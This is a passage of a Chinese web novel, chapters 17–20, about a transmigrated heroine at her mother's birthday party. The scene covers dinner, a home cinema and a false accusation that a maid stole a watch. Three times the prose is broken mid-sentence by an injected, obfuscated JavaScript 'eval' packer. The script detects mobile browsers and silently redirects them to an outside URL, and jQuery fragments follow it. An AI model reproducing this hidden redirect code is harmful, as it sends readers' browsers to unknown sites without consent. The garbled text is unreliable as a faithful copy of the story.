李茵陈和季知远已经来招呼他们两个了,李茵陈先和周予安打了招呼,然后又对季蝉衣笑道:“小既他们早就到了,过来陪我们聊了好一会儿天了,这孩子也是客气,就过个生日嘛,整的阵仗还挺大,还专门给我准备了礼物,真是……” 陈既在后面笑嘻嘻的说:“一套护肤品而已嘛,阿姨你这就见外了啊,我也不能白蹭这么久的饭啊。再说了,阿姨做的饭菜那么好吃,我不得给点回报,这样也好意思让阿姨以后多多给我做饭呐。” 李茵陈立刻忍不住嗔笑道:“你这孩子,从小嘴就甜。好好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527768|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,阿姨就喜欢你过来,今天阿姨亲自下厨给你做饭,你想吃什么就直接说,阿姨都满足你,好不好?” 季蝉衣在一旁笑眯眯的插嘴:“你这待遇,我住家里十几年了可都没有啊。” 陈既还十分得意的笑起来:“那当然,阿姨喜欢我嘛。” 李茵陈被逗得合不拢嘴:“阿姨还真就是喜欢你。熠熠,你们想吃什么也都说,今天妈全都满足你们。” 纪雪薇连忙笑道:“李阿姨,今天是你的生日,怎么能真让你下厨呢。” 陆雨婷不知道李茵陈喜欢做饭的事情,也跟着笑:“是啊,我看家里有好几个阿姨,不如让阿姨们来做吧。要是缺人,我就过去帮忙打下手。” 李茵陈笑道:“没事没事,其实做饭就是阿姨的爱好,能看你们吃阿姨亲手做的饭菜,这就是阿姨收到的最好的生日礼物了。你们就说说自己想吃什么吧,阿姨给你们做,也正好让你们评价一下味道,尝尝阿姨的手艺。” 季蝉衣知道李茵陈说的是实话,自从李茵陈偶然间感觉到了做饭的快乐之后,那真是一发不可收拾,一如菜门深似海,从此夫女是路人。李茵陈最开心的一次是一天做了六顿饭。那是季蝉衣和季知远最不愿意回忆的一天。 所以季蝉衣也没矫情,还真就不客气的报了几个菜名,李茵陈顺口问了问周予安有没有什么想吃的菜,季蝉衣笑道:“行了妈,你问其他人吧。我刚刚报的那几个菜名就是周予安想吃的。” “这样啊,行。小周和小既都报完自己想吃的了,那小薇你们想吃什么?” 大家客气的说了几道菜,李茵陈一一记了下来,然后就开开心心的进了厨房。 季知远和大家又聊了几句,到底是不太放心李茵陈,就客套的说让他们年轻人多聊,自己就不硬插进来打扰大家了,然后一转身就进了厨房。客厅里就剩下主角团和季蝉衣、周予安面面相觑。 季蝉衣本想靠着装聋作哑躲过这次飞来横祸,一边默默计算中午吃饭的时间一边推算什么时候才可以赶紧闪身离开,完全不想和任何人有语言交流,然后就听见对面的陈既非常不看事儿的开始说起话来。 陈既这人本来就是自来熟,又是个半分钟不说话就好像能被憋死的性格,在座的都是熟人,就更没什么值得顾忌的了,所以没一会儿就打开了话匣子,和大家天南海北的胡侃起来。而且他显然很有兴致,让季蝉衣想打断都无从下嘴。 偏偏还有黛秋心和唐筱竹这两个更不看事儿的积极给予回应,陈既就是跟个哑巴也能聊起来,现在又有两个会回应他的人,当然聊的就更起劲了,没一会儿就聊的眉飞色舞,还时不时的开怀大笑,客厅里面很快就弥漫起欢快的因子。 陆靳则依然是穿着黑色的冲锋衣,一言不发的靠在沙发上,陆雨婷坐在他身边,正眼含笑意的听着陈既和其他人聊天。纪雪薇则时不时的看向季蝉衣,那视线暂时说不上是不是挑衅,不过季蝉衣倒是也不觉得那视线是善意的。 其他人各有各的事情,光是陈既一个人的声音就能让整个客厅显得很热闹……季蝉衣面无表情的盯着陈既看了一会儿,终于还是忍不住低头和周予安咬耳朵:“到底是谁又惹陈既开心了?” 周予安同样小声的说:“不知道,不过你这个发小也太能说了,我一时都分不清发出声音的是嘴还是永动机,整条舌头灵活的简直像蚂蚁的后屁股。” “好怪异的形容词……不过好贴切。” “因为没有感情,全是文学造诣啊。” 正当两个人窃窃私语好不容易聊的有点放松时,纪雪薇忽然看了过来,她看着季蝉衣笑眯眯的模样,下意识飞快地皱了皱眉,但很快又温柔的露出笑容,忽然朝季蝉衣开了口,打断了两人的聊天:“熠熠,你晚上打算去干什么啊?” 18. Chapter18. 季蝉衣其实是想特别霸道的回答一句“你管我”的,但奈何想象丰满现实骨干,李茵陈和季知远就在厨房,她说完这句话用不了十秒钟老两口就能奔赴战场,而且她现在还远远没到直接和纪雪薇撕破脸的地步,所以最后就只能窝囊的笑了一下:“嗯……可能就宅在家里吧,你知道的,我是个比较宅的人,平常也不喜欢出来。” 纪雪薇笑眯眯的看着她,忽然又说:“说起来都这么久了,还没去过熠熠姐家做客呢,正好你今天晚上呆在家里,不如就今晚……” 季蝉衣用胳膊肘悄无声息的捅了捅周予安,周予安心领神会,立刻开口打断了纪雪薇的话:“啧,对了蝉衣,忽然想起来上次你的文件落在我办公室里了,你不是还急着要吗?要不然就今天晚上和我一起去公司拿吧?” 季蝉衣连忙接口:“好啊,那真是麻烦你了。” 两个人一唱一和完,季蝉衣就诚挚的看向纪雪薇,一脸“你看谁让事情这么不凑巧那我也没办法了”的遗憾表情:“真是抱歉了,纪小姐,你刚刚想说什么来着?” 看着两个人默契的对答,纪雪薇一贯温柔的笑容有了一瞬间的裂纹,她似乎很不满意周予安的出言打断,但也没说什么,只是迅速调整表情,露出一个和平常没什么区别的笑容,语气饱含理解:“没什么……既然你们有事,那就改天吧。” 说着她直勾勾的盯着季蝉衣,放轻了声音道:“我会一直等着你的,熠熠姐。” 季蝉衣没注意到纪雪薇的表情,客气又敷衍的笑了笑:“好,我也是。” 纪雪薇低下头,不说话了。 几个人天南海北的聊了一会儿,纪雪薇始终没有再加入进去。 好在没过多久李茵陈就开始陆续把饭菜端上桌。 大家连忙一起帮忙打下手,很快饭菜都端了上来,所有人也都热热闹闹的围坐在了一起。 厨房旁边就是专门的餐厅,中间有一个能容纳十二个人的大圆桌,就是平常请客人留下吃饭用的。 大家陆续去圆桌旁坐好。李茵陈和季知远坐主位,其他人随意乱坐一通,季蝉衣挨着李茵陈,旁边是周予安,对面是纪雪薇。 季知远开了瓶刚从朋友酒庄买来的好酒,大家边聊边吃,陈既带头夸了好一会儿饭菜好吃,把李茵陈逗得合不拢嘴,气氛一时间无比融洽。 李茵陈道:“你们尝尝这道鱼,这是今天早上才空运过来的深海鱼,送过来的时候还活蹦乱跳的呢。这鱼我直接炖的,只做了去腥提鲜处理,那些重味道的调料都没有放,保留了最原始的鲜味。你们尝尝怎么样?” 季知远夹了一筷子放进季蝉衣碗里,然后才给自己也夹了一筷子,笑道:“嗯,真鲜,这味道真不错,做鱼汤肯定也好喝。” 季蝉衣用公筷给李茵陈夹了点,然后也给周予安夹了一块。尝了尝那鱼,也赞不绝口。 季蝉衣还想再夹点,但是公筷已经被黛秋心拿走了,黛秋心积极的帮陈既夹了块鱼肉,殷勤道:“阿既,你也尝尝。” 季蝉衣只好想着等一会儿再夹,谁知周予安就拿出一双干净的筷子把自己碗里那块没动过的鱼肉夹回季蝉衣碗里,同时压低声音和她说:“我发现了一件挺有意思的事儿。” 季蝉衣自然不会跟周予安客气,边吃边含糊不清的问:“什么?” “我发现可以通过夹菜这件小事观察出其他人的第一反应,而这个第一反应又映射了他们内心的真实想法。” 季蝉衣愣了一下,有些没反应过来。 周予安继续说:“黛秋心的第一反应是夹菜给陈既吃,但是有意思的是,陈既夹的第一块鱼肉给了自己,第二口却没给黛秋心,而是给了唐筱竹。” 季蝉衣的脑子有些没反应过来:“唐筱竹?” “嗯。” “不是,”季蝉衣有些懵了,“你的意思是,陈既现在在意的是唐筱竹?” “不能说是在意吧,唐筱竹和黛秋心一左一右坐在他身边,但他下意识地把鱼肉给了唐筱竹。这也就是说,起码在他心里唐筱竹是排在黛秋心前面的。” 季蝉衣有些懵了:“……但是这对吗?我记得陈既和黛秋心才是官配啊,难道他们之间又发生了什么不为人知的故事,让原本的剧情改变了?” 周予安边扒拉自己碗里的饭菜边用一副已经习以为常的口吻:“难说啊,毕竟简离和李听澜的剧情就已经发生了改变,其他人的就更不好说了。” 季蝉衣思索片刻,下了结论:“说不定这还是跟我们改变了原本的剧情走向有关,咱们这段日子高调组cp果然还是引发了不同的结果。算了,不管了,走一步看一步吧,反正总体来说问题不大。对了,陆靳呢,陆靳把菜夹给谁了?是不是纪雪薇?肯定是纪雪薇,毕竟按照原剧情来说他俩现在……” “……好像不是。” “?” 季蝉衣下意识抬头看去,就见陆靳把鱼肉夹给了陆雨婷。 季蝉衣喃喃地说:“正常正常,毕竟我也是先夹给了我爸妈,他又夹了一筷子,这次肯定是给纪雪……” 季蝉衣的声音停住了,因为她眼睁睁的看着陆靳把那块鱼肉夹到了自己碗中,然后……然后他就把公筷放下了。 季蝉衣:“?” 这六个人里,黛秋心把菜夹给了陈既,陈既给了唐筱竹……而唐筱竹从始至终都在埋头苦吃,既不管是谁夹给自己的也从不给别人菜夹,吃的那叫一个酣畅淋漓天昏地暗不管不顾。 ……算了,观察了很久依然一无所获的季蝉衣想,能吃是福。 陆靳夹给了陆雨婷,陆雨婷几乎都没怎么夹菜,只吃陆靳夹给她的就已经足够了。 至于最后一位纪雪薇……她好像完全没在意身边的黛秋心和陆靳,只是一直若有所思的盯着自己面前的碟子。似乎是感觉到了季蝉衣的视线,她忽然毫无征兆的抬起头,正正好好和季蝉衣对上了视线,她怔了一下,朝季蝉衣露出一个笑,然后将公筷放在了季蝉衣的方向。 季蝉衣和纪雪薇处在圆桌直径上的两点,是桌上两个最远的距离,纪雪薇没办法直接把公筷递给季蝉衣,就只能以这种方式向她示好。 季蝉衣有些疑惑了,这是怎么个意思?邀请她吃鱼? 季蝉衣一时间拿不准这又是纪雪薇的邪恶小把戏还是她真的想和季蝉衣握手言和,犹豫了两秒,还是拿过公筷,给自己夹了一块鱼肉。 ——没办法,这鱼肉确实很对她的胃口,不多吃几口简直暴殄天物。 季蝉衣给自己夹完了,也没忘记自己刚刚还“掠夺”了周予安的一块鱼肉,也帮他夹了一块。 放下筷子之后,季蝉衣没想到纪雪薇还在看她,于是也忍不住回看过去,朝纪雪薇挑了挑眉,意思是,有事启奏无事退朝。 纪雪薇只是朝她和善一笑,然后就低下了头,掩盖住了眼睛里一闪而过的阴鸷的光。 吃完后,家里的阿姨又端上来一个大蛋糕,大家笑眯眯的齐唱生日歌,李茵陈笑着许了愿,然后就开始分吃蛋糕。 寿星李茵陈分蛋糕,按照人数切好了放在桌子上,谁想吃自己拿就行。 黛秋心先拿了一块,递给了陈既,然后才给自己又挑了一个。 但陈既其实不太喜欢吃这些甜腻腻的东西,于是就随手给了唐筱竹。 唐筱竹倒是特别喜欢吃甜的,虽然她已经拿了一块了,但既然陈既主动把自己的也给了她,那唐筱竹当然不会拒绝,也就毫不犹豫的笑纳了。 陆靳拿了一块给陆雨婷,纪雪薇也拿了一块,却不是自己吃,而且笑眯眯地递给了还没有来得及拿的季蝉衣:“吃不吃?这块上面有草莓,我知道你喜欢吃草莓,就特地拿了这块给你。” 季蝉衣确实特别喜欢吃草莓,看着纪雪薇那双含着笑意的眼睛,季蝉衣的理智和肚子里的馋虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531319|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斗争了一会儿,最后还是毫无尊严的接了过来:“谢谢啊,你也吃。” 纪雪薇笑了一下,见季蝉衣转头看周予安,似乎想提醒他也快点吃,立刻不动声色的又拿出一块递给周予安:“周总也尝尝,这块好吃。” 给周予安的那块不知道是没切好还是没拿好,已经倒在了盘子里,看起来有些“凌乱”,但周予安不在意这些,随口道了谢,接了过来。 大家吃完了蛋糕,又闹腾了好一会儿,陈既提议一起去看电影。正好前几天李茵陈让人把三楼重新装修了一下,在家里装了一个星空顶家庭影院,看电影又安静又有氛围,陈既家里的不如这个,他一早就想试试了,要是好的话也给自己家里装一个。 李茵陈被陈既提起星空顶时那滑稽的模样逗得笑得不行,连忙笑着让他们去看,还贴心的叫阿姨准备了饮料和零食送上去。 恰好有几个李茵陈之前的好朋友和合作伙伴顺道来为李茵陈送生日礼物,李茵陈和季知远就没跟他们一起上去,只在一楼客厅里招待客人,让他们自己玩的开心就行。 三楼原本连着的两间两百平客厅中间的装饰墙被打穿了,成了一个四百多平的空间,整个天花板都装了星空顶吊顶,灯也全换成了可自由调节亮度的吸顶灯和壁灯。房间正前方是投影仪和幕布,对着幕布的地方整整齐齐的摆着按摩椅和配套的小桌子。 不开灯的时候,整个天花板就如同置身浩瀚的星海般漂亮。 陈既非常捧场的惊叹几句,季蝉衣第一次见到的时候确实也惊奇了一把,但后来见多了也就见怪不怪了,见陈既这样子,忍不住用胳膊肘戳了他一下,笑眯眯地说:“别装了啊,你家又不是没有。你不是想看电影吗?看什么?” 陈既熟稔的回戳一下,思索了两秒,随口说:“你看不了鬼片,而且也不喜欢看动画片,还接受不了悲剧,温馨的你嫌无聊,爱情的你嫌虚假,喜剧你嫌拖沓……要不咱们还是看你最爱的探案悬疑片吧,我记得不是新出了一个?就看那个吧。” 季蝉衣边按陈既说的找影片资源边忍不住在心里嘀咕了一下,没想到原主这喜好跟她的一模一样,不仅不感兴趣的和她高度重叠,就连喜欢的也和她差不多……难不成她穿进来不是偶然,就是像周予安说的那样,因为和原主的性格爱好高度重叠才被选中的吗? 季蝉衣很快找到了那个片子,也就没继续多想。 她光顾着调音量和画质,完全没注意到一旁黛秋心听完两个人的对话之后阴沉下来的眼眸。 她整张脸扭曲怨愤,大家为了观影氛围没开灯,所以房间里略显昏暗,这才没有人注意到黛秋心眼里一闪而过的恨意。 她直勾勾地盯着季蝉衣的侧脸,放在口袋里的手不知不觉就攥紧了。 如果眼神能化为实质,估计现在季蝉衣已经被她的视线捅成筛子了。好在季蝉衣总算顺利打开了那个影片,光顾着看电影,完全没有注意到黛秋心的眼神。 大家随便找位置坐下了,季蝉衣找了个离自己最近的地方坐下,纪雪薇坐在了她身边,周予安原本想坐季蝉衣另一边的,但却被陈既抢先一步。他倒是也不介意,随意的坐在了季蝉衣侧前方,这样还能随时帮季蝉衣递饮料拿零食。 陈既边看边时不时和季蝉衣打两句嘴炮,恰好家里的阿姨过来送零食。那个阿姨很细心,把水果什么的全部切好分好了,一个个走到他们的位置旁亲手把零食送到他们手里才离开。 陈既喜欢吃哈密瓜,给阿姨要了好几盒切好的,光自己吃还不够,还一直热衷于分享给季蝉衣。 季蝉衣想好好看电影,被陈既烦的要命,只好不耐烦的拿了几个,转头第一时间分给了身边的周予安和纪雪薇,难免又引来了陈既一顿开玩笑似的怒骂。 几个人开开心心的拌嘴,只有被挤到角落里一言不发的黛秋心怨恨的盯着季蝉衣,硬生生捏断了自己手里的一次性竹签。 19. Chapter19. 电影很快就播放起来,随着剧情的深入,大家都不知不觉被吸引了目光,就连陈既都逐渐安静了下来,开始认真的看电影。 一场电影结束,大家还都觉得不够看。直到不知是谁打开了吸顶灯,先前昏暗的氛围一扫而空,房间里才又慢慢热闹起来。 陈既意犹未尽的和大家讨论剧情,陆雨婷为电影中某个配角的be爱情故事伤心,陆靳就一言不发的给陆雨婷递纸巾;纪雪薇把自己手里的零食分给季蝉衣和唐筱竹,周予安则尽职尽责的收拾季蝉衣啃过的瓜皮,时不时也插句嘴,评价场景的转换和故事的发展。黛秋心不太开心的坐在角落里,脸色很差,也不肯加入大家的聊天之中。 只有唐筱竹,从头吃到尾,现在还在吃,根本没注意其他人在说什么。 家庭影院不仅可以看电影,还可以唱歌。大家中场休息了一会儿,准备唱唱歌就结束今天一天的party。 陈既出去上厕所了,陆雨婷似乎在和纪雪薇商量什么事情,陆靳坐在两人旁边安静的等着两个人聊天。 黛秋心和唐筱竹坐在一起,前者一言不发的翻找自己的包包想找化妆品补妆,后者还在野猪进食。 季蝉衣闲来无事,继续和周予安咬耳朵:“你有没有发现陆靳今天有点反常啊?” “嗯?” “上次他这样那样的威胁我之后,今天竟然还能若无其事的过来,一脸镇定的给我妈过生日……不是,我就想知道他看到我的时候不会心虚愧疚吗?他知道自己曾经伤害过一个十八岁零四十九个月大的小女孩的心吗?他的良心不会痛吗?” “他吗?他应该没有良心吧。” 季蝉衣叹了口气,好吧,陆靳确实没有良心,也不会有这种感情。 在陆靳的观念里,想要什么就用最直截了当的办法得到手,他像是个坚定的、没有感情的目标执行者,对他来说,只要可以达到目的,那么过程是怎么样的完全不必在意。只要能得到自己想要的,那么就完全可以不择手段。 而他也很少有任何类似于愧疚、同情、后悔之类的情感,他好像在这方面有缺陷,普通人拥有的同理心和善良、宽容这些美好的品质在他身上从来都没有出现过,他好像永远都是冷静和游刃有余的,心狠到简直有点反社会人格的倾向。 不过这种人设倒是在遍地清冷佛子、霸道总裁的言情文里显得很少见——这种略显反派的性格在什么文里都显得是股清流。 也不知道按照原文设定他这顺风顺水的一生是怎么养出这种性格来的。 季蝉衣想了想,靠在周予安耳边小声道:“……而且我总感觉他和纪雪薇之间的相处模式也太奇怪了,两个人就好像……就好像不太熟的样子,从进门之后,两个人就没有说过一句话。纪雪薇和我说话的次数都比和陆靳说话的次数多。你说他们这两人是怎么回事?” 周予安想了想,开玩笑道:“说不定这个纪雪薇就对你情有独钟呢,之前你喜欢陆靳,所以她就非得要把陆靳抢到手,现在你转移目标了,她可能也就跟着一起放弃陆靳了。” 季蝉衣抬手推了他一把:“少贫,那按你这么说,下一步她不就准备抢你了?这又不是百合文。就算是百合文,给命女主和白莲花女配这个组合也怎么看怎么怪异吧?与其磕我俩,不如磕纪雪薇和唐筱竹,一个有八百个心眼子,另一个也有八百个心眼子,不过全都是实心的。” 周予安还真设想了一下,立刻一脸一言难尽的摇了摇头:“算了,那我还是磕咱俩吧,起码咱们可以互相作证对方是人。很多人看着还是人的形态,其实已经接近神了,我怕自己玷污神的血脉。” 季蝉衣正要继续说什么,谁知道不远处的黛秋心忽然惊叫一声:“我的手表去哪了?!” 这一声立刻吸引了大家的视线,唐筱竹离得最近,凑上去问:“什么手表?” “我那块粉金色的江诗丹顿,刚刚还和化妆品一起放在了包包里,怎么不见了?” 恰好这时候陈既也回来了,听说来龙去脉之后,立刻热心的帮着一起找,但两个人翻遍了黛秋心的那个小包包也没找到。 陈既挠了挠头,问道:“是不是你记错地方了?或者你刚刚拿出来了,只是自己忘记了,所以才以为还在包里?” 季蝉衣也随口道:“是啊,你该不会是刚刚拿包的时候不小心把手表掉在了哪里吧?赶紧找找你的位置上和这房间的其他地方,趁现在东西都还在这儿,应该很容易就能找到了。” 黛秋心一听就立刻蛮横的反驳:“不可能,我绝对不会记错,看电影之前我就放在了包包里,一直也没动过……肯定是有人给我拿走了。” 说着她回忆了一下这段时间靠近过自己的人,灵光一现,忽然高声尖叫:“我想起来了!是刚刚那个进来送零食的保姆,就只有她靠近过我。对!一定就是她!” 说着黛秋心根本不管自己的猜测是否正确,先怒气冲冲转向了季蝉衣,不管不顾劈头盖脸的骂她:“喂,就是你家的保姆偷拿的!快让她给我把手表还回来!” 她原本就对季蝉衣心怀不满,现在逮住了机会,当然是毫不犹豫的抓住机会趁机奚落季蝉衣:“上梁不正下梁歪,有什么样的主人家就有什么样的保姆!我说季蝉衣,你不会自己就是个喜欢乱抢别人东西的心机女吧?” 季蝉衣也不傻,当然听出来了话里话外黛秋心指桑骂槐讥讽她“抢”陈既的事情。 只不过季蝉衣就不明白了,第一,她不叫“喂”,她叫季蝉衣,第二,人保姆就是过来送个水果刺身,这就递个水果的工夫怎么就让你逮住机会泼脏水了呢?第三,不是,她和陈既从头到尾都是清清白白明明显显的普通发小关系啊,这个黛秋心究竟是从哪里觉得季蝉衣要跟她抢这块猪头肉的呢? 季蝉衣不理解,季蝉衣出离愤怒了。 这他喵的简直是在侮辱季蝉衣的审美,婶可忍叔不可忍,虽然陈既他们都在劝架,但季蝉衣依然决定狠狠反击:“不是,你有什么证据啊上来就血口喷人?你哪只猪眼看见是我家阿姨拿的了?你是不是觉得这里没监控就可以乱说了?真想把你跟油一起放到锅里,看看是油溅还是你溅。你光凭一张嘴瞎扯就是诽谤知不知道,小心我去起诉你。” 说“小心我去起诉你”的时候季蝉衣还下意识在心里思索了一下,按照男主那法外狂徒的个性来看,也不知道这个世界的法律威慑力够不够。 黛秋心倒是没多想,她冷笑一声:“我两只眼睛都看见了,就是你家保姆拿的,不信你现在就给我把她叫过来,看我不……” 话音未落,在一旁一直没说话的周予安忽然出声:“咦,这是谁的手表?” 季蝉衣和黛秋心双双回过头,就见周予安手里拿着一块粉金色的手表,看型号和样子就是刚刚黛秋心说她丢失的那块。 周予安一脸无辜的补充:“哦,这是我刚刚在黛小姐坐的椅子上发现的,可能是刚刚黛小姐吃水果的时候不小心把手表掉在了角落里,没有注意到。” 黛秋心瞬间偃旗息鼓,脸色也顿时涨红起来。 大家一时间陷入了沉默之中,过了这对黛秋心来说无比漫长的几秒钟之后,季蝉衣才冷笑一声:“呦呦呦,怎么不说话了?不是说还要让我把阿姨叫过来把东西还给你吗?怎么着,现在还用叫吗,啊?上梁不正下梁歪的黛小姐?” 黛秋心:“……” 黛秋心狠狠的瞪了她一眼,似乎是被气急了,呼哧呼哧喘着重气。 季蝉衣继续说:“去,给我家阿姨道歉,也给我道个歉。” 黛秋心梗着脖子说:“凭什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533802|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “凭你恬不知耻,凭你有眼无珠,凭你血口喷人,凭你是非不分,凭你臭不要脸,行吗?” 黛秋心:“……” 没有一个人的替黛秋心说话,因为大家心知肚明,黛秋心就是想借着这件事教训一下季蝉衣。如果她的手表真是那个保姆拿的,那大家也不好说什么,结果现在黛秋心是搬起石头砸了自己的脚,那大家当然也不会顺着她。 黛秋心又急又气,干脆直接耍无赖:“我才不去道歉,让我一个大小姐给一个保姆道歉?亏你想得出来!反正这件事我没做错,我的东西就是在你家丢的,我一时心急骂错了人也怪不了我……谁让你们家把房间搞得这么暗?” 季蝉衣都无语了,她还从来没见过这么厚颜无耻之人,面无表情的说:“……得了,我现在知道地球为什么自转了,敢情就是为了把一些东西甩出去。” 一旁的唐筱竹听的从头到尾眉头都没有放松过,这时候终于也听不下去了,站出来说道:“秋心姐,这件事确实是你做的不对,刚刚季蝉衣都说了应该是你不小心掉在了哪里,结果你不仅不先仔细找找,还一个劲儿的怪别人……” 她还没说完,黛秋心就厉声尖叫起来:“唐筱竹!你向着季蝉衣那个小贱人?!我平常是怎么和你说的,你竟然还向着她?你知道她是个什么样的人吗?!” 唐筱竹的眉头皱的更深了,生硬地说:“用不着你叫我怎么看人。” 黛秋心的面色一下子扭曲了,还要指责,陈既也忍不住皱了皱眉,出言打断:“好了,黛小姐,筱竹说的也没错啊,人衣姐本来好心好意邀请你来玩,结果你自己把东西搞丢就算了,还不听别人劝,执意要冤枉别人,你既然出言不逊在先,那也理应和衣姐道个歉。” 黛秋心气的脸色发青,一个劲儿的冷笑:“好好好,陈既!真是好样的,你们才是一伙的是吧?你们才是好朋友!我走,我走行了吧?你们一个个已经全部被季蝉衣蛊惑了,到时候有你们后悔的!” 说完狠狠夺过自己的包和手表,怒气冲冲的转身离开了,走的时候还把大门摔得重重响了一声。 季蝉衣看了一眼周予安,后者朝她耸了耸肩,露出一个无奈的表情。 唐筱竹叹了口气,嘀咕道:“秋心姐现在怎么变得这么……唉,她之前也不这样啊……” 听见这声有点好笑的嘀咕,季蝉衣忍不住笑了一下。 唐筱竹立刻竖起眉毛瞪了她一眼:“你笑什么?” 季蝉衣好笑的摇了摇头:“没什么。哎,对了,感谢你刚刚替我说话啊,真没想到你竟然还是第一个开口的。” 纪雪薇闻言忍不住皱了皱眉,眼里的阴沉一闪而过,但随即又恢复如初。 唐筱竹的脸色红了红,眼神慌乱的瞟了一下,清清嗓子说:“什么替你说话,我只是说出了事实而已,而且我只是讨厌是非不分的人,才不是为了你。我、我又没打算向着你,你可别多想啊。” 她一和季蝉衣说话就忍不住想到季蝉衣发给她的拿段小作文,脸色不禁又红了红。 季蝉衣了然的拖长调子“哦”了一声:“那看来是我自作多情了?好吧,没想到咱们唐筱竹还是个正义判官呢,是我有眼不识泰山了,还以为你是偏心我呢。之前是我小看你了,以后我还得多多向你学习才是。” 唐筱竹仰起头“哼”了一声,看起来十分高高在上难以接近,但实则很快就原形毕露,没装两秒脸上就还是忍不住闪过一丝得意和雀跃的表情。 季蝉衣又想起了什么,忽然狐疑的看向陈既,然后又扫过唐筱竹,后知后觉的问:“……对了,我之前怎么没发现你俩现在关系这么好了?刚刚又是一起替我说话又是陈既你帮唐筱竹说话的,怎么,难道你们在我不知道的时候有了什么不可告人的秘密?” 20. Chapter20. 见季蝉衣这么问,陈既和唐筱竹下意识看了一眼对方,又很快把视线移向其他地方,陈既咳嗽了一声,故作淡定的开了口:“哦,是这样。前几天我姥姥在街上遛弯散步,谁知道被绊了一下摔在了路边,周围的路人没有一个敢扶的,只有路过的唐筱竹扶着我姥姥去了医院,我俩也就因为这个事才有了交流。” 原来是这样啊……季蝉衣若有所思的点点头,怪不得刚刚看陈既的反应,觉得在他心里唐筱竹比黛秋心还要重要,原来是因为还有这一茬事情。 她和周予安对视一眼,很快又继续笑:“行了,那咱们也别多想了,接着玩吧。” “好啊,那我必然是要唱第一首歌的,来筱竹,咱们合唱。我唱男的的部分你唱女的的那块。” “好!” 大家热热闹闹的玩到了傍晚,见时间差不多了,这才纷纷准备告辞。 陆雨婷去厕所了,陆靳在外面等她一起回去,其他人就先下了楼。 李茵陈和季知远晚上约了局,早就已经出门了,怕打扰他们玩,就没上去和他们专门说,只给季蝉衣留了条消息。 季蝉衣把人妥帖的送到门口,忽然想起自己还没拿手机,就让周予安帮自己送客,自己又转身上去拿手机了。 去影音厅要路过一个厕所,季蝉衣过去的时候,好巧不巧听见了里面传来的争执声。 第一个声音是陆雨婷的,声音里带着崩溃,却因为是在别人的房子里,所以不敢太大声:“你竟然还装了监控?你到底想要干什么?!” 一听“监控”两个字,季蝉衣立刻戒备起来,她犹豫了一下,还是受好奇心驱使,悄无声息的靠近了厕所,想仔细听听两个人在说什么。 但后面两个人都压低了声音,季蝉衣只能陆续听见一些可怕、监视之类的字眼,再往后就是陆雨婷劝陆靳收手的话。 这个陆靳究竟想要干什么? 季蝉衣心里越来越觉得好奇,她总觉得陆靳身上似乎藏着很多秘密,但季蝉衣现在却没有办法知道这些秘密究竟是什么。 就在季蝉衣百思不得其解的时候,里面忽然传来了马桶的抽水声,紧接着门就被人从里面推开了。 季蝉衣悚然一惊,想躲已经来不及了,还以为自己肯定又要被陆靳发现自己偷听,然后真的遗憾离场彻底交代在这儿的时候,忽然被人从后面揽着腰轻轻一拉,拉进了隔壁房间。 厕所的门是向外开的,开门的时候正好挡住了隔壁房间的正在关闭的房间门,形成了一个视觉盲区。再加上有马桶抽水声音掩盖住了关门的轻微响声,所以陆靳和陆雨婷都没有发现什么异常。 ——也可能是两个人都带着情绪,根本没空关注外面的事情,被周予安一套丝滑小连招拉进桌子底下的季蝉衣想。 因为门没关严实,所以蹲在桌子底下的两个人既不敢乱动也不敢发出一丝声音。 陆雨婷和陆靳在厕所外面又继续说了会话,这时候两个人的情绪都平静很多,聊天的内容也都是最近一些的工作安排,两个人不约而同的对刚刚的话题只字不提。 蹲在桌子下面的季蝉衣没一会儿脚就麻了。 这个房间本来是健身用的,后来季蝉衣嫌上三楼麻烦,季知远就把健身房挪到一楼了,这个房间现在就用来放些杂物。 因为平常都没什么人进来,所以房间里面既没开灯也没开窗,现在掩上门之后,房间里面更是无比昏暗。 桌子又矮又小,空间拥挤,季蝉衣和周予安必须得紧紧靠在一起才能维持平衡。 两个人脑袋挨着脑袋,近到季蝉衣能感觉到周予安的呼吸喷洒在自己的脖颈。 呼吸带来的温热似乎一路蔓延进了心里,季蝉衣忽然发觉自己的心脏跳动的比刚才快了很多。 她小幅度的摇了摇脑袋,周予安立刻发现了,用气声问:“不舒服?” 季蝉衣的心跳更快了,她有些不大自在的摇了摇头:“没。” 没有不舒服,就是不知道为什么她有种浑身虚浮的奇怪感觉。而且后脑勺那一块的头皮也麻麻的,就好像有人在她耳朵后面吹气一样。她抬头看了一眼,这个角度只能看见周予安的下巴尖,不知道为什么,感受到周予安的气息,她的心跳就莫名其妙变得更快了。 